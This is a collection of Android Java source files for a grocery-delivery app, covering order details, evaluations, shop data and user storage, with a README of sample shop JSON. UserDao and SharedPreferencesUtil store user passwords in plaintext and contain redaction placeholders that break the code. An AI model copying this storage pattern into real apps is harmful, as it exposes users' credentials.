[ "JavaScript", "HTML", "Markdown" ]
3
JavaScript
srivatsan3/Personal-Projects
6089a62b2ecb179c434e1f7e9994fe01fdc9afeb
ce0c35e85f675712c10d77d1c518dc9ac4cc58b5
refs/heads/master
<repo_name>jitayangchen/JDDaojia<file_sep>/app/src/main/java/cn/com/findfine/jddaojia/order/OrderDetailActivity.java package cn.com.findfine.jddaojia.order; import android.content.Intent; import android.os.Bundle; import android.support.v7.widget.Toolbar; import android.view.LayoutInflater; import android.view.View; import android.widget.Button; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.TextView; import com.bumptech.glide.Glide; import java.text.ParseException; import java.text.SimpleDateFormat; import java.util.Date; import java.util.List; import cn.com.findfine.jddaojia.BaseActivity; import cn.com.findfine.jddaojia.Constant; import cn.com.findfine.jddaojia.R; import cn.com.findfine.jddaojia.data.bean.GoodsBean; import cn.com.findfine.jddaojia.data.bean.GoodsOrderBean; import cn.com.findfine.jddaojia.http.HttpUrl; public class OrderDetailActivity extends BaseActivity { private GoodsOrderBean goodsOrderBean; private float goodsPrice = 0.0f; private Button btnOrderEvaluation; private Button btnOrderPay; private TextView tvDelivered; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_order_detail); Toolbar toolbar = findViewById(R.id.toolbar); toolbar.setTitle("订单详情"); setSupportActionBar(toolbar); getSupportActionBar().setDisplayHomeAsUpEnabled(true); toolbar.setNavigationOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { onBackPressed(); } }); Intent intent = getIntent(); goodsOrderBean = intent.getParcelableExtra("goods_order_bean"); init(); } private void init() { TextView tvShopNameAddress = findViewById(R.id.tv_shop_name_address); TextView tvGoodsPriceRight = findViewById(R.id.tv_goods_price_right); TextView tvAllPriceRight = findViewById(R.id.tv_all_price_right); TextView tvUserAddress = findViewById(R.id.tv_user_address); TextView tvOrderNumber = findViewById(R.id.tv_order_number); TextView tvOrderTime = findViewById(R.id.tv_order_time); LinearLayout llOrderGoods = findViewById(R.id.ll_order_goods); tvShopNameAddress.setText(goodsOrderBean.getShopName()); tvUserAddress.setText(goodsOrderBean.getUserAddress()); SimpleDateFormat sdf=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); try { Date date = sdf.parse(goodsOrderBean.getCreateOrderTime()); tvOrderNumber.setText(String.valueOf(date.getTime())); } catch (ParseException e) { e.printStackTrace(); } tvOrderTime.setText(goodsOrderBean.getCreateOrderTime()); initGoodsList(goodsOrderBean.getGoodsArray(), llOrderGoods); tvGoodsPriceRight.setText("¥" + String.valueOf(goodsPrice)); tvAllPriceRight.setText("¥" + String.valueOf(goodsPrice + 10.0f)); btnOrderEvaluation = findViewById(R.id.btn_order_evaluation); btnOrderPay = findViewById(R.id.btn_order_pay); tvDelivered = findViewById(R.id.tv_delivered); btnOrderEvaluation.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent(OrderDetailActivity.this, OrderEvaluationActivity.class); intent.putExtra("order_bean", goodsOrderBean); startActivityForResult(intent, 1211); } }); btnOrderPay.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent(OrderDetailActivity.this, PayActivity.class); intent.putExtra("price", goodsPrice + 10f); intent.putExtra("order_id", goodsOrderBean.getOrderId()); startActivity(intent); } }); showOrderStatus(goodsOrderBean.getOrderStatus(), goodsOrderBean.getOrderEvaluation() <= 0); } private void initGoodsList(List<GoodsBean> goodsBeans, LinearLayout llOrderGoods) { for (int i = 0; i < goodsBeans.size(); i++) { GoodsBean goodsBean = goodsBeans.get(i); goodsPrice += goodsBean.getGoodsPrice() * goodsBean.getGoodsCartCount(); View view = LayoutInflater.from(this).inflate(R.layout.item_order_detail_goods, null, false); ImageView ivGoodsPhoto = view.findViewById(R.id.iv_goods_photo); TextView tvGoodsName = view.findViewById(R.id.tv_goods_name); TextView tvGoodsPriceAndCount = view.findViewById(R.id.tv_goods_price_and_count); TextView tvGoodsPrice = view.findViewById(R.id.tv_goods_price); Glide.with(this).load(HttpUrl.BASE_URL + goodsBean.getGoodsPhoto()).into(ivGoodsPhoto); tvGoodsName.setText(goodsBean.getGoodsName()); tvGoodsPrice.setText("¥" + String.valueOf(goodsBean.getGoodsPrice())); tvGoodsPriceAndCount.setText("¥" + String.valueOf(goodsBean.getGoodsPrice()) + " X " + String.valueOf(goodsBean.getGoodsCartCount())); llOrderGoods.addView(view); } } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if (requestCode == 1211 && resultCode == 1212) { boolean isEvaluation = data.getBooleanExtra("is_evaluation", false); if (isEvaluation) { showOrderStatus(goodsOrderBean.getOrderStatus(), false); } } } private void showOrderStatus(int orderStatus, boolean isShowEvaluation) { switch (orderStatus) { case Constant.ORDER_STATUS_SUCCESS: tvDelivered.setVisibility(View.VISIBLE); tvDelivered.setText("等待商家发货"); break; case Constant.ORDER_STATUS_UNPAY: btnOrderPay.setVisibility(View.VISIBLE); break; case Constant.ORDER_STATUS_DELIVERED: tvDelivered.setVisibility(View.VISIBLE); tvDelivered.setText("已发货"); if (isShowEvaluation) { btnOrderEvaluation.setVisibility(View.VISIBLE); } else { btnOrderEvaluation.setVisibility(View.GONE); } break; } } } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/data/db/dao/UserDao.java package cn.com.findfine.jddaojia.data.db.dao; import android.content.ContentValues; import android.database.Cursor; import android.database.sqlite.SQLiteDatabase; import cn.com.findfine.jddaojia.data.bean.UserInfo; import cn.com.findfine.jddaojia.data.db.JdDaojiaDbHelper; import cn.com.findfine.jddaojia.data.db.contract.UserContract; public class UserDao { private JdDaojiaDbHelper dbHelper; public UserDao() { dbHelper = JdDaojiaDbHelper.getInstance(); } public boolean insertUser(UserInfo userInfo) { SQLiteDatabase db = dbHelper.getWritableDatabase(); ContentValues values = new ContentValues(); values.put(UserContract.USER_ID, userInfo.getUserId()); values.put(UserContract.NICK_NAME, userInfo.getNickName()); values.put(UserContract.PASSWORD, <PASSWORD>()); long insert = db.insert(UserContract.TABLE_NAME, null, values); return insert != -1; } public int deleteUserById(int id) { SQLiteDatabase db = dbHelper.getWritableDatabase(); return db.delete(UserContract.TABLE_NAME, UserContract._ID + "=?", new String[]{String.valueOf(id)}); } public boolean updateUser(UserInfo userInfo) { SQLiteDatabase db = dbHelper.getWritableDatabase(); ContentValues values = new ContentValues(); values.put(UserContract.USER_ID, userInfo.getUserId()); values.put(UserContract.NICK_NAME, userInfo.getNickName()); values.put(UserContract.PASSWORD, <PASSWORD>()); int update = db.update(UserContract.TABLE_NAME, values, UserContract._ID + "=?", new String[]{userInfo.getUserId()}); return update >= 0; } public UserInfo queryUserById(String userId) { SQLiteDatabase db = dbHelper.getReadableDatabase(); Cursor cursor = db.query(UserContract.TABLE_NAME, null, UserContract.USER_ID + "=?", new String[]{userId}, null, null, null); UserInfo userInfo = null; while (cursor.moveToNext()) { userInfo = new UserInfo(); userInfo.setUserId(cursor.getString(cursor.getColumnIndex(UserContract.USER_ID))); userInfo.setNickName(cursor.getString(cursor.getColumnIndex(UserContract.NICK_NAME))); userInfo.setPassword(cursor.getString(cursor.getColumnIndex(UserContract.PASSWORD))); } cursor.close(); return userInfo; } } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/utils/SharedPreferencesUtil.java package cn.com.findfine.jddaojia.utils; import android.content.Context; import android.content.SharedPreferences; public class SharedPreferencesUtil { public static void setLoginStatus(Context context, boolean loginStatus) { SharedPreferences sp = context.getSharedPreferences(context.getPackageName(), Context.MODE_PRIVATE); SharedPreferences.Editor editor = sp.edit(); editor.putBoolean("login_status", loginStatus); editor.apply(); } public static boolean getLoginStatus(Context context) { SharedPreferences sp = context.getSharedPreferences(context.getPackageName(), Context.MODE_PRIVATE); return sp.getBoolean("login_status", false); } public static void setIsInitData(Context context, boolean isInitData) { SharedPreferences sp = context.getSharedPreferences(context.getPackageName(), Context.MODE_PRIVATE); SharedPreferences.Editor editor = sp.edit(); editor.putBoolean("is_init_data", isInitData); editor.apply(); } public static boolean getIsInitData(Context context) { SharedPreferences sp = context.getSharedPreferences(context.getPackageName(), Context.MODE_PRIVATE); return sp.getBoolean("is_init_data", false); } public static void saveUserAccount(Context context, String userAccount) { SharedPreferences sp = context.getSharedPreferences(context.getPackageName(), Context.MODE_PRIVATE); SharedPreferences.Editor editor = sp.edit(); editor.putString("user_account", userAccount); editor.apply(); } public static String getUserAccount(Context context) { SharedPreferences sp = context.getSharedPreferences(context.getPackageName(), Context.MODE_PRIVATE); return sp.getString("user_account", ""); } public static void saveUserId(Context context, String userId) { SharedPreferences sp = context.getSharedPreferences(context.getPackageName(), Context.MODE_PRIVATE); SharedPreferences.Editor editor = sp.edit(); editor.putString("user_id", userId); editor.apply(); } public static String getUserId(Context context) { SharedPreferences sp = context.getSharedPreferences(context.getPackageName(), Context.MODE_PRIVATE); return sp.getString("user_id", ""); } public static void saveUserPassword(Context context, String password) { SharedPreferences sp = context.getSharedPreferences(context.getPackageName(), Context.MODE_PRIVATE); SharedPreferences.Editor editor = sp.edit(); editor.putString("password", <PASSWORD>); editor.apply(); } public static String getUserPassword(Context context) { SharedPreferences sp = context.getSharedPreferences(context.getPackageName(), Context.MODE_PRIVATE); return sp.getString("password", ""); } public static void saveIpAddress(Context context, String ipAddress) { SharedPreferences sp = context.getSharedPreferences(context.getPackageName(), Context.MODE_PRIVATE); SharedPreferences.Editor editor = sp.edit(); editor.putString("ip_address", ipAddress); editor.apply(); } public static String getIpAddress(Context context) { SharedPreferences sp = context.getSharedPreferences(context.getPackageName(), Context.MODE_PRIVATE); return sp.getString("ip_address", ""); } // public static void saveAddress(Context context, JSONObject jsonObject) throws JSONException { // SharedPreferences sp = context.getSharedPreferences(context.getPackageName(), Context.MODE_PRIVATE); // SharedPreferences.Editor editor = sp.edit(); // JSONArray address = getAddress(context); // if (address == null) { // address = new JSONArray(); // } // address.put(jsonObject); // editor.putString("address", address.toString()); // editor.apply(); // } // // public static void saveAddress(Context context, JSONArray jsonArray) throws JSONException { // SharedPreferences sp = context.getSharedPreferences(context.getPackageName(), Context.MODE_PRIVATE); // SharedPreferences.Editor editor = sp.edit(); // editor.putString("address", jsonArray.toString()); // editor.apply(); // } // // public static JSONArray getAddress(Context context) throws JSONException { // SharedPreferences sp = context.getSharedPreferences(context.getPackageName(), Context.MODE_PRIVATE); // String address = sp.getString("address", ""); // if (TextUtils.isEmpty(address)) { // return null; // } // return new JSONArray(address); // } // // public static void deleteAddress(Context context, int index) throws JSONException { // JSONArray address = getAddress(context); // if (address != null && address.length() > 0){ // address.remove(index); // saveAddress(context, address); // } // } } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/adapter/OrderAdapter.java package cn.com.findfine.jddaojia.adapter; import android.content.Context; import android.content.Intent; import android.support.annotation.NonNull; import android.support.v7.widget.RecyclerView; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.TextView; import com.bumptech.glide.Glide; import java.util.List; import cn.com.findfine.jddaojia.R; import cn.com.findfine.jddaojia.data.bean.GoodsBean; import cn.com.findfine.jddaojia.data.bean.GoodsOrderBean; import cn.com.findfine.jddaojia.http.HttpUrl; import cn.com.findfine.jddaojia.order.OrderDetailActivity; public class OrderAdapter extends RecyclerView.Adapter<OrderAdapter.ViewHolder> { private List<GoodsOrderBean> goodsOrderBeans; private Context context; public OrderAdapter(Context context) { this.context = context; } public void setGoodsOrderBeans(List<GoodsOrderBean> goodsOrderBeans) { this.goodsOrderBeans = goodsOrderBeans; } @NonNull @Override public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_order, parent, false); return new ViewHolder(view); } @Override public void onBindViewHolder(@NonNull ViewHolder holder, int position) { GoodsOrderBean goodsOrderBean = goodsOrderBeans.get(position); holder.shopName.setText(goodsOrderBean.getShopName()); List<GoodsBean> goodsBeanList = goodsOrderBean.getGoodsArray(); GoodsBean goodsBean = goodsBeanList.get(0); Glide.with(context).load(HttpUrl.BASE_URL + goodsBean.getGoodsPhoto()).into(holder.ivGoodsPhoto_1); holder.tvGoodsPrice_1.setText(String.valueOf(goodsBean.getGoodsPrice())); if (goodsBeanList.size() > 1) { holder.ivGoodsPhoto_2.setVisibility(View.VISIBLE); holder.tvGoodsPrice_2.setVisibility(View.VISIBLE); goodsBean = goodsBeanList.get(1); Glide.with(context).load(HttpUrl.BASE_URL + goodsBean.getGoodsPhoto()).into(holder.ivGoodsPhoto_2); holder.tvGoodsPrice_2.setText(String.valueOf(goodsBean.getGoodsPrice())); } else { holder.ivGoodsPhoto_2.setVisibility(View.INVISIBLE); holder.tvGoodsPrice_2.setVisibility(View.INVISIBLE); } if (goodsBeanList.size() > 2) { holder.ivGoodsPhoto_3.setVisibility(View.VISIBLE); holder.tvGoodsPrice_3.setVisibility(View.VISIBLE); goodsBean = goodsBeanList.get(2); Glide.with(context).load(HttpUrl.BASE_URL + goodsBean.getGoodsPhoto()).into(holder.ivGoodsPhoto_3); holder.tvGoodsPrice_3.setText(String.valueOf(goodsBean.getGoodsPrice())); } else { holder.ivGoodsPhoto_3.setVisibility(View.INVISIBLE); holder.tvGoodsPrice_3.setVisibility(View.INVISIBLE); } if (goodsBeanList.size() > 3) { holder.ivGoodsPhoto_4.setVisibility(View.VISIBLE); holder.tvGoodsPrice_4.setVisibility(View.VISIBLE); goodsBean = goodsBeanList.get(3); Glide.with(context).load(HttpUrl.BASE_URL + goodsBean.getGoodsPhoto()).into(holder.ivGoodsPhoto_4); holder.tvGoodsPrice_4.setText(String.valueOf(goodsBean.getGoodsPrice())); } else { holder.ivGoodsPhoto_4.setVisibility(View.INVISIBLE); holder.tvGoodsPrice_4.setVisibility(View.INVISIBLE); } } @Override public int getItemCount() { if (goodsOrderBeans == null) { return 0; } return goodsOrderBeans.size(); } // private List<GoodsBean> getGoodsBeanList(String goodsJson) { // List<GoodsBean> goodsBeans = new ArrayList<>(); // try { // JSONArray jsonArray = new JSONArray(goodsJson); // for (int i = 0; i < jsonArray.length(); i++) { // JSONObject goodsObject = jsonArray.getJSONObject(i); // GoodsBean goodsBean = new GoodsBean(); // goodsBean.setGoodsId(goodsObject.getInt("goods_id")); // goodsBean.setGoodsName(goodsObject.getString("goods_name")); // goodsBean.setGoodsPhoto(goodsObject.getString("goods_photo")); // goodsBean.setGoodsPrice((float) goodsObject.getDouble("goods_price")); // goodsBean.setGoodsCartCount(goodsObject.getInt("goods_count")); // // goodsBeans.add(goodsBean); // } // } catch (JSONException e) { // e.printStackTrace(); // } // return goodsBeans; // } class ViewHolder extends RecyclerView.ViewHolder { TextView shopName; ImageView ivGoodsPhoto_1; ImageView ivGoodsPhoto_2; ImageView ivGoodsPhoto_3; ImageView ivGoodsPhoto_4; TextView tvGoodsPrice_1; TextView tvGoodsPrice_2; TextView tvGoodsPrice_3; TextView tvGoodsPrice_4; public ViewHolder(View itemView) { super(itemView); shopName = itemView.findViewById(R.id.tv_shop_name); ivGoodsPhoto_1 = itemView.findViewById(R.id.iv_goods_photo_1); ivGoodsPhoto_2 = itemView.findViewById(R.id.iv_goods_photo_2); ivGoodsPhoto_3 = itemView.findViewById(R.id.iv_goods_photo_3); ivGoodsPhoto_4 = itemView.findViewById(R.id.iv_goods_photo_4); tvGoodsPrice_1 = itemView.findViewById(R.id.tv_goods_price_1); tvGoodsPrice_2 = itemView.findViewById(R.id.tv_goods_price_2); tvGoodsPrice_3 = itemView.findViewById(R.id.tv_goods_price_3); tvGoodsPrice_4 = itemView.findViewById(R.id.tv_goods_price_4); itemView.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Intent intent = new Intent(context, OrderDetailActivity.class); GoodsOrderBean goodsOrderBean = goodsOrderBeans.get(getLayoutPosition()); intent.putExtra("goods_order_bean", goodsOrderBean); context.startActivity(intent); } }); } } } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/data/bean/ShopBean.java package cn.com.findfine.jddaojia.data.bean; import android.os.Parcel; import android.os.Parcelable; import java.util.ArrayList; public class ShopBean implements Parcelable { private int id; private int shopId; private String shopName; private String shopPhoto; private String shopAddress; private ArrayList<GoodsBean> goodsBeans; public ShopBean() { } private ShopBean(Parcel in) { id = in.readInt(); shopId = in.readInt(); shopName = in.readString(); shopPhoto = in.readString(); shopAddress = in.readString(); goodsBeans = in.createTypedArrayList(GoodsBean.CREATOR); } public int getId() { return id; } public void setId(int id) { this.id = id; } public int getShopId() { return shopId; } public void setShopId(int shopId) { this.shopId = shopId; } public String getShopName() { return shopName; } public void setShopName(String shopName) { this.shopName = shopName; } public String getShopPhoto() { return shopPhoto; } public void setShopPhoto(String shopPhoto) { this.shopPhoto = shopPhoto; } public String getShopAddress() { return shopAddress; } public void setShopAddress(String shopAddress) { this.shopAddress = shopAddress; } public ArrayList<GoodsBean> getGoodsBeans() { return goodsBeans; } public void setGoodsBeans(ArrayList<GoodsBean> goodsBeans) { this.goodsBeans = goodsBeans; } @Override public int describeContents() { return 0; } @Override public void writeToParcel(Parcel dest, int flags) { dest.writeInt(id); dest.writeInt(shopId); dest.writeString(shopName); dest.writeString(shopPhoto); dest.writeString(shopAddress); dest.writeTypedList(goodsBeans); } public static final Creator<ShopBean> CREATOR = new Creator<ShopBean>() { @Override public ShopBean createFromParcel(Parcel in) { return new ShopBean(in); } @Override public ShopBean[] newArray(int size) { return new ShopBean[size]; } }; } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/myinfo/MyEvaluationActivity.java package cn.com.findfine.jddaojia.myinfo; import android.os.Bundle; import android.os.Handler; import android.os.Message; import android.support.annotation.NonNull; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.support.v7.widget.Toolbar; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.TextView; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import java.io.IOException; import java.util.ArrayList; import java.util.List; import cn.com.findfine.jddaojia.BaseActivity; import cn.com.findfine.jddaojia.R; import cn.com.findfine.jddaojia.data.bean.GoodsBean; import cn.com.findfine.jddaojia.data.bean.GoodsOrderBean; import cn.com.findfine.jddaojia.http.HttpRequest; import cn.com.findfine.jddaojia.utils.SharedPreferencesUtil; import okhttp3.Call; import okhttp3.Callback; import okhttp3.FormBody; import okhttp3.Response; public class MyEvaluationActivity extends BaseActivity { private List<GoodsOrderBean> goodsOrderBeans; private MyEvaluationAdapter myEvaluationAdapter; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_my_evaluation); Toolbar toolbar = findViewById(R.id.toolbar); toolbar.setTitle("我的评价"); setSupportActionBar(toolbar); getSupportActionBar().setDisplayHomeAsUpEnabled(true); toolbar.setNavigationOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { onBackPressed(); } }); init(); } private void init() { getOrderData(); RecyclerView rvMyEvaluation = findViewById(R.id.rv_my_evaluation); rvMyEvaluation.setLayoutManager(new LinearLayoutManager(this)); myEvaluationAdapter = new MyEvaluationAdapter(); rvMyEvaluation.setAdapter(myEvaluationAdapter); } public void getOrderData() { FormBody.Builder builder = new FormBody.Builder(); builder.add("user_id", SharedPreferencesUtil.getUserId(this)); HttpRequest.requestPost("order_list.php", builder, new Callback() { @Override public void onFailure(Call call, IOException e) { } @Override public void onResponse(Call call, Response response) throws IOException { String result = response.body().string(); Log.i("Response", result); // result = JsonData.ORDER_DATA; try { if (goodsOrderBeans == null) { goodsOrderBeans = new ArrayList<>(); } goodsOrderBeans.clear(); JSONArray jsonArray = new JSONArray(result); for (int i = 0; i < jsonArray.length(); i++) { JSONObject jsonObject = jsonArray.getJSONObject(i); GoodsOrderBean goodsOrderBean = new GoodsOrderBean(); goodsOrderBean.setOrderId(jsonObject.getString("order_id")); goodsOrderBean.setOrderNumber(jsonObject.getString("order_number")); goodsOrderBean.setCreateOrderTime(jsonObject.getString("create_order_time")); goodsOrderBean.setOrderStatus(Integer.valueOf(jsonObject.getString("order_status"))); goodsOrderBean.setShopId(Integer.valueOf(jsonObject.getString("shop_id"))); goodsOrderBean.setShopName(jsonObject.getString("shop_name")); goodsOrderBean.setUserAddress(jsonObject.getString("user_address")); String orderEvalution = jsonObject.getString("order_evalution"); if ("null".equals(orderEvalution)) { goodsOrderBean.setOrderEvaluation(0); } else { goodsOrderBean.setOrderEvaluation(Integer.valueOf(orderEvalution)); goodsOrderBean.setEvalutionContent(jsonObject.getString("evalution_content")); List<GoodsBean> goodsBeans = new ArrayList<>(); JSONArray goodsListArray = jsonObject.getJSONArray("goods_list"); for (int j = 0; j < goodsListArray.length(); j++) { JSONObject goodsObj = goodsListArray.getJSONObject(j); GoodsBean goodsBean = new GoodsBean(); goodsBean.setGoodsId(Integer.valueOf(goodsObj.getString("goods_id"))); goodsBean.setGoodsName(goodsObj.getString("goods_name")); goodsBean.setGoodsPhoto(goodsObj.getString("goods_photo")); goodsBean.setGoodsPrice(Float.valueOf(goodsObj.getString("goods_price"))); goodsBeans.add(goodsBean); } goodsOrderBean.setGoodsArray(goodsBeans); goodsOrderBeans.add(0, goodsOrderBean); } } handler.sendEmptyMessage(1); } catch (JSONException e) { e.printStackTrace(); } } }); } private Handler handler = new Handler() { @Override public void handleMessage(Message msg) { super.handleMessage(msg); if (msg.what == 1) { myEvaluationAdapter.notifyDataSetChanged(); } } }; class MyEvaluationAdapter extends RecyclerView.Adapter<ViewHolder> { @NonNull @Override public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_my_evaluation, parent, false); return new ViewHolder(view); } @Override public void onBindViewHolder(@NonNull ViewHolder holder, int position) { GoodsOrderBean goodsOrderBean = goodsOrderBeans.get(position); holder.tvShopName.setText(goodsOrderBean.getShopName()); holder.tvEvaluationContent.setText(goodsOrderBean.getEvalutionContent()); switch (goodsOrderBean.getOrderEvaluation()) { case 1: holder.ivStar_1.setBackgroundResource(R.mipmap.order_star_light); break; case 2: holder.ivStar_1.setBackgroundResource(R.mipmap.order_star_light); holder.ivStar_2.setBackgroundResource(R.mipmap.order_star_light); break; case 3: holder.ivStar_1.setBackgroundResource(R.mipmap.order_star_light); holder.ivStar_2.setBackgroundResource(R.mipmap.order_star_light); holder.ivStar_3.setBackgroundResource(R.mipmap.order_star_light); break; case 4: holder.ivStar_1.setBackgroundResource(R.mipmap.order_star_light); holder.ivStar_2.setBackgroundResource(R.mipmap.order_star_light); holder.ivStar_3.setBackgroundResource(R.mipmap.order_star_light); holder.ivStar_4.setBackgroundResource(R.mipmap.order_star_light); break; case 5: holder.ivStar_1.setBackgroundResource(R.mipmap.order_star_light); holder.ivStar_2.setBackgroundResource(R.mipmap.order_star_light); holder.ivStar_3.setBackgroundResource(R.mipmap.order_star_light); holder.ivStar_4.setBackgroundResource(R.mipmap.order_star_light); holder.ivStar_5.setBackgroundResource(R.mipmap.order_star_light); break; } } @Override public int getItemCount() { if (goodsOrderBeans == null) { return 0; } return goodsOrderBeans.size(); } } class ViewHolder extends RecyclerView.ViewHolder { private TextView tvShopName; private TextView tvEvaluationContent; private ImageView ivStar_1; private ImageView ivStar_2; private ImageView ivStar_3; private ImageView ivStar_4; private ImageView ivStar_5; public ViewHolder(View itemView) { super(itemView); tvShopName = itemView.findViewById(R.id.tv_shop_name); tvEvaluationContent = itemView.findViewById(R.id.tv_evaluation_content); ivStar_1 = itemView.findViewById(R.id.iv_star_1); ivStar_2 = itemView.findViewById(R.id.iv_star_2); ivStar_3 = itemView.findViewById(R.id.iv_star_3); ivStar_4 = itemView.findViewById(R.id.iv_star_4); ivStar_5 = itemView.findViewById(R.id.iv_star_5); } } } <file_sep>/README.md [{"shop_id":100001,"shop_name":"周黑鸭","shop_photo":"100.jpg","shop_address":"青岛市城阳区村里","goods_list":[{"goods_id":101,"shop_id":100001,"goods_name":"鸭脖","goods_photo":"100001.jpg","goods_price":6.6,"goods_category":"category","goods_sales_volume":10},{"goods_id":102,"shop_id":100001,"goods_name":"蛋糕","goods_photo":"100001.jpg","goods_price":9,"goods_category":"category","goods_sales_volume":10},{"goods_id":103,"shop_id":100001,"goods_name":"冰激凌","goods_photo":"100001.jpg","goods_price":5,"goods_category":"category","goods_sales_volume":10},{"goods_id":104,"shop_id":100001,"goods_name":"果汁","goods_photo":"100001.jpg","goods_price":10,"goods_category":"category","goods_sales_volume":10},{"goods_id":105,"shop_id":100001,"goods_name":"咖啡","goods_photo":"100001.jpg","goods_price":18,"goods_category":"category","goods_sales_volume":10},{"goods_id":106,"shop_id":100001,"goods_name":"苹果","goods_photo":"100001.jpg","goods_price":15,"goods_category":"category","goods_sales_volume":10},{"goods_id":107,"shop_id":100001,"goods_name":"香蕉","goods_photo":"100001.jpg","goods_price":3,"goods_category":"category","goods_sales_volume":10},{"goods_id":108,"shop_id":100001,"goods_name":"芒果","goods_photo":"100001.jpg","goods_price":9,"goods_category":"category","goods_sales_volume":10}]}]<file_sep>/app/src/main/java/cn/com/findfine/jddaojia/data/db/contract/UserAddressContract.java package cn.com.findfine.jddaojia.data.db.contract; public class UserAddressContract { public static final String TABLE_NAME = "user_address"; public static final String _ID = "_id"; public static final String USER_ID = "user_id"; public static final String CITY = "city"; public static final String ADDRESS = "address"; public static final String HOUSE_NUMBER = "house_number"; public static final String NAME = "name"; public static final String PHONE_NUMBER = "phone_number"; public static final String SQL_CREATE_USER_ADDRESS = "CREATE TABLE " + TABLE_NAME + " (" + _ID + " INTEGER PRIMARY KEY," + USER_ID + " TEXT," + CITY + " TEXT," + ADDRESS + " TEXT," + HOUSE_NUMBER + " TEXT," + NAME + " TEXT," + PHONE_NUMBER + " TEXT)"; } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/MainActivity.java package cn.com.findfine.jddaojia; import android.content.Intent; import android.os.Bundle; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentTransaction; import android.view.View; import cn.com.findfine.jddaojia.fragment.HomePageFragment; import cn.com.findfine.jddaojia.fragment.MyInfoFragment; import cn.com.findfine.jddaojia.fragment.OrderFragment; import cn.com.findfine.jddaojia.fragment.ShoppingCartFragment; import cn.com.findfine.jddaojia.fragment.SortFragment; public class MainActivity extends BaseActivity implements View.OnClickListener { private HomePageFragment homePageFragment; private SortFragment sortFragment; private ShoppingCartFragment shoppingCartFragment; private OrderFragment orderFragment; private MyInfoFragment myInfoFragment; private static final String TAG_HOME_PAGE = "HomePage"; private static final String TAG_SORT = "Sort"; private static final String TAG_SHOPPING_CART = "ShoppingCart"; private static final String TAG_ORDER = "Order"; private static final String TAG_MT_INFO = "MyInfo"; private String currentPage = TAG_HOME_PAGE; private View llHomePage; private View llSort; private View llShoppintCart; private View llOrder; private View llMyInfo; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // setStatusBarColor(Color.TRANSPARENT); homePageFragment = HomePageFragment.newInstance(); sortFragment = SortFragment.newInstance(); shoppingCartFragment = ShoppingCartFragment.newInstance(); orderFragment = OrderFragment.newInstance(); myInfoFragment = MyInfoFragment.newInstance(); FragmentTransaction fragmentTransaction = getSupportFragmentManager().beginTransaction(); fragmentTransaction.add(R.id.fl_content, homePageFragment, TAG_HOME_PAGE); fragmentTransaction.commitAllowingStateLoss(); llHomePage = findViewById(R.id.ll_home_page); llSort = findViewById(R.id.ll_sort); llShoppintCart = findViewById(R.id.ll_shoppint_cart); llOrder = findViewById(R.id.ll_order); llMyInfo = findViewById(R.id.ll_my_info); llHomePage.setOnClickListener(this); llSort.setOnClickListener(this); llShoppintCart.setOnClickListener(this); llOrder.setOnClickListener(this); llMyInfo.setOnClickListener(this); llHomePage.setSelected(true); } @Override protected void onNewIntent(Intent intent) { super.onNewIntent(intent); boolean isRefreshOrder = intent.getBooleanExtra("is_refresh_order", false); if (isRefreshOrder) { // orderFragment.refreshOrder(); showFragment(orderFragment, TAG_ORDER); } } @Override public void onClick(View v) { switch (v.getId()) { case R.id.ll_home_page: showFragment(homePageFragment, TAG_HOME_PAGE); break; case R.id.ll_sort: showFragment(sortFragment, TAG_SORT); break; case R.id.ll_shoppint_cart: showFragment(shoppingCartFragment, TAG_SHOPPING_CART); break; case R.id.ll_order: showFragment(orderFragment, TAG_ORDER); break; case R.id.ll_my_info: showFragment(myInfoFragment, TAG_MT_INFO); break; } } private void showFragment(Fragment fragment, String tag) { if (tag.equals(currentPage)) return ; selected(tag); currentPage = tag; FragmentTransaction fragmentTransaction = getSupportFragmentManager().beginTransaction(); Fragment targetFragment = getSupportFragmentManager().findFragmentByTag(tag); if (targetFragment == null) { fragmentTransaction.add(R.id.fl_content, fragment, tag); } //隐藏其它Fragment if (getSupportFragmentManager().getFragments() != null) { for (Fragment otherFragment : getSupportFragmentManager().getFragments()) { if (!otherFragment.equals(targetFragment)) { fragmentTransaction.hide(otherFragment); } } } fragmentTransaction.show(fragment); fragmentTransaction.commitAllowingStateLoss(); } private void selected(View view) { llHomePage.setSelected(false); llSort.setSelected(false); llShoppintCart.setSelected(false); llOrder.setSelected(false); llMyInfo.setSelected(false); view.setSelected(true); } private void selected(String tag) { switch (tag) { case TAG_HOME_PAGE: selected(llHomePage); break; case TAG_SHOPPING_CART: selected(llShoppintCart); break; case TAG_ORDER: selected(llOrder); break; case TAG_MT_INFO: selected(llMyInfo); break; } } } <file_sep>/app/src/main/java/cn/com/findfine/jddaojia/data/db/contract/ShoppingCartShopContract.java package cn.com.findfine.jddaojia.data.db.contract; public class ShoppingCartShopContract { public static final String TABLE_NAME = "shopping_cart_shop"; 